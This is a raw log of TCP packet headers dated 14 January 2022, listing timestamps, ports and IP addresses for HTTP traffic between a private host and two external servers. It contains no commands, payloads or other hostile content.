Jan 14, 2022 02:05:14.573266983 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.573302031 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.573338985 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.573376894 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.573386908 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.573415995 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.573420048 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.573456049 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.573492050 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.573529959 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.573535919 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.573570013 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.573571920 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.573606968 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.573645115 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.573682070 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.573692083 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.573721886 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.573724031 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.573760986 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.573796988 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.573833942 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.573870897 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.573879004 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.573961020 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574001074 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574037075 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574074030 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574083090 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.574111938 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574116945 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.574151039 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574189901 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574225903 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574234962 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.574265003 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574270010 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.574304104 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574340105 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574377060 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574383020 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.574415922 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574420929 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.574455976 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574493885 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574531078 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574542046 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.574569941 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574572086 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.574609041 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574645042 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574683905 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574693918 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.574723005 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574728012 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.574762106 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574801922 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574846983 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.574846983 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574887037 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574925900 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574929953 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.574963093 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.574968100 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.575001955 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.575041056 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.575062037 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.575077057 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.575115919 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.575146914 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.575155973 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.575195074 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.575198889 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.575236082 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.575273037 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.575309992 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.575311899 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.575359106 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.575396061 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.575407028 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.575436115 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.575438023 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.575474977 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.575510979 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.575547934 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.575551987 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.575587988 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.575592041 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.575628042 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.575665951 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.575701952 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.575711012 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.575741053 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.575742960 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.575779915 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.576503992 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.580843925 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.582925081 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.585748911 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.590081930 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.627466917 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.627543926 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.627583981 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.627623081 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.627624989 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.627660990 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.627700090 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.627702951 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.627744913 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.627784967 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.627790928 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.627825022 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.627827883 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.627866030 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.627908945 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.627948999 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.627954960 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.627988100 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.627994061 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.628029108 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628066063 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628077984 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.628108025 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628146887 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628182888 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628194094 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.628223896 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628226995 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.628264904 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628304005 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628341913 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628351927 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.628381968 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628385067 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.628422022 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628460884 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628496885 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628508091 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.628539085 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628540993 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.628578901 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628614902 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628654003 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628668070 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.628691912 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628696918 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.628731966 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628771067 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628810883 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628814936 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.628849983 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628854036 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.628890038 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628926039 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628963947 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.628974915 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.629003048 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629007101 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.629043102 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629081964 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629118919 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629128933 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.629157066 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629168987 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.629198074 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629235029 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629272938 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629287004 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.629312992 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629323959 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.629354000 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629393101 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629427910 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629443884 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.629467010 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629479885 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.629507065 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629544020 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629580975 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629595041 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.629618883 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629628897 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.629657984 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629698038 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629733086 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629744053 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.629767895 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.629772902 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629775047 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.629812956 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629865885 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.629875898 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629879951 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.629925013 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629962921 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.629998922 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.630013943 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.630038023 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.630049944 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.630078077 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.630115032 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.630152941 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.630166054 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.630191088 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.630202055 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.630228996 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.630266905 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.630275965 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.630306005 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.630343914 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.630383015 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.630398989 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.630429029 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.641688108 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.641791105 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.641833067 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.641897917 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.641937017 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.641938925 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.641958952 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.641980886 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.642020941 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.642031908 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.642059088 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.642100096 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.642112017 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.642138958 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.642175913 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.642189980 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.642215014 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.642252922 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.642290115 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.642313004 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.642329931 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.642354965 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.642368078 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.642405987 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.642442942 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.642450094 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.642482042 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.642487049 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.642522097 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.643388033 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.660543919 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.661302090 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.661344051 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.661382914 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.661422014 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.661453009 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.661459923 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.661484957 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.661501884 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.661540985 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.661578894 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.661592960 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.661619902 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.661637068 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.661658049 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.661703110 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.682111025 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.682179928 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.682223082 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.682260990 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.682276011 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.682301044 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.682311058 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.682343006 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.682384014 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.682420015 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.682430029 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.682461023 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.682461023 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.682501078 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.682538033 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.682574987 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.682579041 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.682615042 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.682616949 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.682656050 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.682694912 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.682733059 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.682744026 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.682773113 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.682781935 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.682812929 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.682849884 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.682893038 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.682909966 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.682931900 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.682941914 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.682971954 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683012962 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683048964 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683058977 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.683089972 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683089972 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.683129072 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683165073 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683202982 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683218002 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.683240891 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683250904 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.683280945 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683319092 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683353901 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683372021 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.683393002 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683398008 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.683432102 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683468103 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683506012 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683532000 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.683545113 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683562040 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.683585882 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683624983 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683655977 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.683661938 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683701038 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683738947 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683765888 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.683775902 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683799982 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.683815002 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683852911 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683885098 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.683892965 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683933020 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.683938026 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.683969021 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684015036 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.684098959 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684143066 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684180975 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684216976 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684227943 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.684256077 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684259892 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.684295893 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.684334040 CET	80	49874	93.189.42.167	192.168.2.3
